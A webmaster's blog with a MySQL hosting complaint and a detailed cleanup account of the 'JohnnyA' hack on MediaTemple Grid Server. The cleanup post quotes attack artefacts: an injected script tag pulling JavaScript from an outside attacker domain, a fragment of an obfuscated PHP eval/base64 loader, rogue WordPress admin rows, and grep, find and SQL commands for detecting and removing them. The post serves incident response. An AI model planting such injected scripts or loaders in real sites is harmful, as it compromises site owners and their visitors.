A windsurfing, CSS-grudging, IE-hating, web-developing, gigantic-machine-puzzling blog

Category: mysql

Lost Connection To MySQL Server on MediaTemple Grid Server

I’ve been a MediaTemple Grid Server (gs) customer since it was released. From the beginning, Mediatemple has had MySQL problems with “Lost connection to MySQL server during query at [script name] [line number]” errors.

I have several system update Perl scripts for CarComplaints.com that I run as cron jobs or from the command line that take a few minutes to run. They access a MySQL database via the standard DBI Perl module. Maybe 1/3 of the time, the mysql connection is lost 2-3 minutes into the update.

I’ve ignored MediaTemple’s lost mysql connection problem for years. Lately though, the dropped connection errors have become more of a headache so I decided to do some troubleshooting.

I upgraded from the MediaTemple MySQL SmartPool to a MySQL Container & played around with the various mysql config timeout settings, but there was no change in when & how often the lost mysql connections occurred. Everything pointed to a connectivity issue with MediaTemple’s service.

Next move was to contact MediaTemple support about the issue. MediaTemple has a pretty good reputation for customer service. Wow. Turns out lost MySQL connections are their Achilles’ heel.

First they blamed slow mysql queries. I pointed out the scripts encountering the error are not public-facing, so 300,000 queries or 1 query that evaluates 300,000 rows in one shot makes no difference. All my slightly “slow queries” are for good reason — the tables have the proper indexes, etc.

Next they blamed cron job processing limitations. I reiterated that the lost mysql connections errors happen just as often when the script is run manually from the command prompt, & that the errors occur very inconsistently indicating a time/cpu limit is probably not involved.

Finally they combined both theories (!!) to suggest the lost mysql connections were “a problem with MySQL optimization” & also that I may be “overloading the GridContainer” by running scripts concurrently with cron jobs … definitely not happening.

And the kicker from MediaTemple support tech “Joel M.”:

Please note that (mt) Media Temple only supports the basic operation and uptime of your (gs) Application Container Technology.

… conveniently implying that lost mysql connections on the GridServer were not an issue of basic operation & uptime. I’d love to hear the logic behind that one.

At that point I decided my time would be better spent coding a way around MediaTemple’s Grid Server / MySQL / tech support shortcomings.

I wrote a MySQL reconnection handler so that it reconnects a few times before giving up. So far so good.

Here are more people experiencing this same problem with lost mysql connections on Mediatemple.

MySQL.com has some advice about “Lost connection to MySQL server” errors:

Usually it indicates network connectivity trouble and you should check the condition of your network if this error occurs frequently. If the error message includes “during query,” this is probably the case you are experiencing.

JohnnyA Hack on MediaTemple grid server

Noticed malware warning messages thanks to Google Safe Browsing, when viewing several of my websites hosted on MediaTemple’s Grid Server (gs) account.

Did some searching & found it’s a widespread attack on MediaTemple. MediaTemple lets (gs) customers host up to 100 domains under one account for the low-low price of $20/month … pretty great, until you have to figure out the path of entry for a hacker.

Although thankfully so far it’s not actually destructive, the “JohnnyA” hack is a mess (like any good hack!):

  • Javascript files had malicious obfuscated code inserted at the top of the compromised files. For my site the hackers targeted the jQuery library, jQuery plugins (corner, impromptu, etc), & swfobject.js that came bundled in the cu3er WordPress theme.
  • PHP files of 5298 bytes were spread all throughout the site structure, named for Unix functions: chmod.php, closedir.php, content.php, eregi.php, fclose.php, fopen.php, fwrite.php, is_file.php, is_writable.php …. all were located under html/ (not cgi-bin/) so they were especially easy to locate & delete.
  • WordPress default theme index.php & footer.php (someone else mentioned their header.php was also compromised) had malicious Javascript code added.
  • WordPress posts had malicious code added to the top:
    <h5><script src="http://maroon.karenegren.com/js/jquery.min.js"></script></h5>
  • WordPress databases had “johnnyA” & “WordPress” admin users added to the wp_users table, as well as entries under wp_metauser with what looks like some sort of evil admin interface HTML/Javascript code. Here is my hacked WP users table:
    +----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+
    | ID | user_login | user_pass                          | user_nicename | user_email                | user_url | user_registered     | user_activation_key | user_status | display_name |
    +----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+
    | 14 | johnnyA    | $P$BWrPjMxeckS8Qjhhd.3CqhhpM5c5G3/ | John          | sarkonerr@gmail.com       |          | 0000-00-00 00:00:00 |                     |           0 | John         |
    | 12 | WordPress  | 3e04a6d10c88e6f5818a2a4151f9a95c   | WordPress     | www@www.com               | www.com  | 0000-00-00 00:00:00 |                     |           0 | WordPress    |
    |  1 | admin      | [censored]                         | admin         | [censored]                | http://  | 2006-10-23 13:24:13 |                     |           0 | netscraps    |
    +----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+

Cleanup took awhile — see below. I also changed my MediaTemple AccountCenter password, my user (SSH/SFTP) account passwords, database passwords, moved all my WordPress installations off to a new, completely separate (not linked in AccountCenter) MediaTemple grid server account, & signed up for Sucuri’s website malware monitoring service …. because of all the recent hack problems, MediaTemple customers receive a discount. Great. Here’s hoping it catches any hacks before Google Safe Browsing does.

The posts below have a lot of information on various ways to scan for the compromised files but so far I haven’t seen anything definitive in terms of how to prevent this all from happening again. Definitely read the posted comments too:

Here are the steps I took to remove the exploits:

Find compromised Javascript files:

  • find . -name "*.js" -exec grep -l "gr0=0" {} \;
  • find . -name "*.js" -exec grep -l "this.n=3279;this.O=58441;" {} \;

… Both searches returned the same results for me. The evil Javascript was the top line of each file, very long mostly obfuscated code ending with var gr0=0; The evil top line didn’t have its own newline character at the end, so be careful not to remove the ENTIRE top line without checking first that you’re not removing legitimate code way at the end of the line.

Find evil PHP files:

  • grep -iR --include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" *
    This search may show false positives. Look for matches that look like:
    <?php $o = '[random characters here];eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); ?>
  • Another way to check is:
    find . -name "*.php" -ctime 14
    …which shows a list of .php files where the timestamp is within the last 14 days.
  • If the file is 5298 bytes, chances are the entire file is junk & you can delete it.
  • Otherwise if the file is something that was pre-existing (like WordPress theme header.php, index.php etc) you’ll have to edit it & remove the bad code by hand or better yet, replace the entire compromised file with a clean version from a backup or original distribution.

Find evil WordPress users:

  • You’ll need mySQL access to your WordPress database for this. You are on your own there.
  • use dbxxxxxx_wp; (whatever your WordPress database is named)
  • select * from wp_users; (note the id for all users you don’t recognize)
  • delete from wp_users where id = 'xx'; (replace xx with the id, & remember each one you delete)
  • delete from wp_usermeta where user_id = 'xx' (do this once for each userid you deleted above)

Find evil WordPress posts:

  • select post_content from wp_posts where post_content like '%<h5><script%';
  • update wp_posts set post_content = replace( post_content, "<h5>script here</h5>", ""); …run this once for each unique script found above, replacing “script here” with the actual script tag.

Powered by WordPress & Theme by Anders Norén